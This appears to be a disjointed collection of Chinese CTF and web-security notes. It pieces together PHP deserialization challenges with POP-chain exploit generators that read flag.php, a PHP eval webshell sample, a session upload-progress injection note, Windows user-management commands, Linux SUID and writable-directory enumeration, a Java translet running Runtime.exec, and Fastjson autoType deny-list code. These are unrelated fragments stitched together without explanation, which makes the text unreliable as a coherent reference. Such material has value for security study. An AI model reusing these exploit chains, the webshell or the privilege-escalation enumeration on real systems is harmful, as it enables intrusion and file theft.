<?php // flag is in flag.php class popdemo { private $filename = 'demo.php'; public function __wakeup() { $this->show($this->filename); } public function show($filename) { show_source($filename); } }
<?php //flag is in flag.php error_reporting(0); class Read { public $var; public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } public function __invoke(){ $content = $this->file_get($this->var); echo $content; } }
class Show { public $source; public $str; public function __construct($file='index.php') { $this->source = $file; echo $this->source.'Welcome'."<br>"; } public function __toString() { return $this->str['str']->source; }
public function _show() { if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) { die('hacker'); } else { highlight_file($this->source); }
}
public function __wakeup() { if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } }
class Test { public $p; public function __construct() { $this->p = array(); }
public function __get($key) { $function = $this->p; return $function(); } }
session.upload_progress.cleanup = Off (是否上传完成之后删除session文件) 符合条件时,上传文件进度的报告就会以写入到session文件中,所以我们可以设置一个与session.upload_progress.name同名的变量(默认名为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据。我们就可以控制这个数据内容为我们的恶意payload。
<?php //A webshell is wait for you ini_set('session.serialize_handler', 'php'); session_start(); class OowoO { public $mdzz; function __construct() { $this->mdzz = 'phpinfo();'; } function __destruct() { eval($this->mdzz); } } if(isset($_GET['phpinfo'])) { $m = new OowoO(); } else { highlight_string(file_get_contents('index.php')); } ?>
POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,,而我们的反序列化是通过控制对象的属性从而实现控制程序的执行流程,进而达成利用本身无害的代码进行有害操作的目的
<?php //flag is in flag.php error_reporting(0); class Read { public $var; public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } public function __invoke(){ $content = $this->file_get($this->var); echo $content; } } class Show { public $source; public $str; public function __construct($file='index.php') { $this->source = $file; echo $this->source.'Welcome'."<br>"; } public function __toString() { return $this->str['str']->source; } public function _show() { if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) { die('hacker'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test { public $p; public function __construct() { $this->p = array(); }
public function __get($key) { $function = $this->p; return $function(); } } if(isset($_GET['hello'])) { unserialize($_GET['hello']); } else { $show = new Show('pop3.php'); $show->_show(); }
<?php class Read { public $var="flag.php"; } class Show { public $source; public $str; } class Test { public $p; } $R=new Read(); $S=new Show(); $T=new Test(); $T->p=$R; $S->str['str']=$T; $S->source=$S; echo urlencode(serialize($S));
<?php class start_gg { public $mod1; public $mod2; public function __destruct() { $this->mod1->test1(); } } class Call { public $mod1; public $mod2; public function test1() { $this->mod1->test2(); } } class funct { public $mod1; public $mod2; public function __call($test2,$arr) { $s1 = $this->mod1; $s1(); } } class func { public $mod1; public $mod2; public function __invoke() { $this->mod2 = "字符串拼接".$this->mod1; } } class string1 { public $str1; public $str2; public function __toString() { $this->str1->get_flag(); return "1"; } } class GetFlag { public function get_flag() { echo "flag:"."xxxxxxxxxxxx"; } } $a = $_GET['string']; unserialize($a); ?>
<?php class start_gg { public $mod1; public $mod2; public function __construct() { $this->mod1= new Call(); } public function __destruct() { $this->mod1->test1(); } } class Call { public $mod1; public $mod2; public function __construct() { $this->mod1= new funct(); } public function test1() { $this->mod1->test2(); } } class funct { public $mod1; public $mod2; public function __construct() { $this->mod1= new func(); } public function __call($test2,$arr) { $s1 = $this->mod1; $s1(); } } class func { public $mod1; public $mod2; public function __construct() { $this->mod1= new string1(); } public function __invoke() { $this->mod2 = "字符串拼接".$this->mod1; } } class string1 { public $str1; public $str2; public function __construct() { $this->str1= new GetFlag(); } public function __toString() { $this->str1->get_flag(); return "1"; } } class GetFlag { public function get_flag() { echo "flag:"."xxxxxxxxxxxx"; } } $a = new start_gg(); echo urlencode(serialize($a)); ?>
<?php highlight_file(__FILE__); class A { public $a; private $b; protected $c; public function __construct($a, $b, $c) { $this->a = $a; $this->b = $b; $this->c = $c; } protected function flag() { echo file_get_contents('/flag'); }
public function __call($name, $arguments) { call_user_func([$name, $arguments[0]]); }
public function __destruct() { return 'this a:' . $this->a; } public function __wakeup() { $this->a = 1; $this->b = 2; $this->c = 3; } } class B { public $a; private $b; protected $c; public function __construct($a, $b, $c) { $this->a = $a; $this->b = $b; $this->c = $c; } public function b() { echo $this->b; } public function __toString() { $this->a->a($this->b); return 'this is B'; } } if (isset($_GET['str'])) unserialize($_GET['str']);
ipconfig /all 查询网络配置 dir 列出当前目录下的文件以及文件夹 whoami 显示当前用户 cd /d d: 进入d盘 md test 创建名为test的文件夹 copy nul 1.txt 创建空文件 type 1.txt 查看文件内容 del 1.txt 删除文件 del /f test 删除 test 文件夹下的所有文件 copy 1.txt d:\doc 将1.txt复制到 d:\doc 下 net user 查看所有用户 net user test 查看test用户信息 net user test password /add 添加用户 net user test /delete 删除 test 用户 net user test newPassword 重置 test 用户密码 tasklist 显示当前的进程信息 taskkill /im notedpad.exe 结束名为 notepad 的进程 taskkill /pid 1234 /t 结束pid为1234的进程以及其子进程 taskkill /f /im notepad.exe /t 强制结束名为 notepad 的进程及其子进程 wmic process where Caption="notepad.exe" get commandline,executablepath,processid /value 获取进程名为 notepad.exe 的命令行,exe 全路径,pid 号 netstat -ano 查看开启的端口连接情况 findstr /i "hello" 1.txt 忽略大小写在 1.txt 中寻找 hello 字符串 sc delete 服务名 删除服务 systeminfo 查看操作系统等版本信息 netstat -ano 查看端口列表 set 环境变量
drwxr-xr-x 2 kali kali 4096 Jan 27 12:52 Downloads -rw-r--r-- 1 root root 903 Jun 14 11:33 exp.html -rw-r--r-- 1 root root 153600 May 5 09:42 flag lrwxrwxrwx 1 kali kali 28 May 14 08:28 flagg -> /proc/self/cwd/flag/flag.jpg
1
-rw-r--r-- 1 root root 56 Jun 16 23:29 hash.txt
这里可以分为7个字段。
第一组数据 -rw-r--r-- 第一位:
- : 代表普通文件
d:代表目录
l:代表软链接
b:代表块文件
c:代表字符设备
第二及后面几位,分别三个为一组:
rw-r--r-- 代表文件所属的权限
r : 文件可读。w : 文件可修改。- : 表示暂时没有其他权限。x : 表示可执行
rw- 表示文件所拥有者的权限。
r-- 表示文件所在组的用户的权限。
r-- 表示其他组的用户的权限。
第二组数据 1
如果文件类型为目录,表示目录下的字目录个数
如果文件类型是普通文件,这个数据就表示这个文件的硬链接个数
第三组数据 root . 表示该文件所有者为root 用户
第四组数据root. 表示该文件所在组为root 组
第五组数据56 表示文件的大小为多少字节。如果为一个目录,则为4096。
第六组数据表示最后一次修改时间
第七组数据表示文件名称 如果为目录,r 表示可以进入该目录进行查看。 w 表示文件可以进行增加。x 表示可以进入这个目录。另外对于rwx,我们可以用数字进行替代,r=4,x=1,w=2
find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here. find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it. find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it. find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
查看可写/执行目录
1 2 3 4 5 6 7
find / -writable -type d 2>/dev/null # world-writeable folders find / -perm -222 -type d 2>/dev/null # world-writeable folders find / -perm -o w -type d 2>/dev/null # world-writeable folders
find / -perm -o x -type d 2>/dev/null # world-executable folders
find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writeable & executable folders
function addScriptTag(src) { var script = document.createElement('script'); script.setAttribute("type","text/javascript"); script.src = src; document.body.appendChild(script); }
window.onload = function () { addScriptTag('http://example.com/ip?callback=foo'); } function foo(data) { console.log('Your public IP address is: ' + data.ip); };
<%! public class listenerDemo implements ServletRequestListener{ @Override public void requestDestroyed(ServletRequestEvent sre){ System.out.println("linstener Destroyed!"); }
public class Test extends AbstractTranslet { public Test() throws IOException { Runtime.getRuntime().exec(“calc”); } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } @Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } public static void main(String[] args) throws Exception { Test t = new Test(); } }
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) { final JSONLexer lexer = parser.lexer; if (lexer.token() == JSONToken.NULL) { lexer.nextToken(JSONToken.COMMA); return null; }
public Class<?> checkAutoType(String typeName, Class<?> expectClass) { if (typeName == null) { return null; }
final String className = typeName.replace('$', '.');
// autoTypeSupport默认为False // 当autoTypeSupport开启时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤 if (autoTypeSupport || expectClass != null) { for (int i = 0; i < acceptList.length; ++i) { String accept = acceptList[i]; if (className.startsWith(accept)) { return TypeUtils.loadClass(typeName, defaultClassLoader); } }
for (int i = 0; i < denyList.length; ++i) { String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException("autoType is not support. " + typeName); } } }
if (clazz != null) { if (expectClass != null && !expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); }
return clazz; }
// 当autoTypeSupport未开启时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错 if (!autoTypeSupport) { for (int i = 0; i < denyList.length; ++i) { String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException("autoType is not support. " + typeName); } } for (int i = 0; i < acceptList.length; ++i) { String accept = acceptList[i]; if (className.startsWith(accept)) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } } }
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver ) { throw new JSONException("autoType is not support. " + typeName); }
if (expectClass != null) { if (expectClass.isAssignableFrom(clazz)) { return clazz; } else { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } } }
if (!autoTypeSupport) { throw new JSONException("autoType is not support. " + typeName); }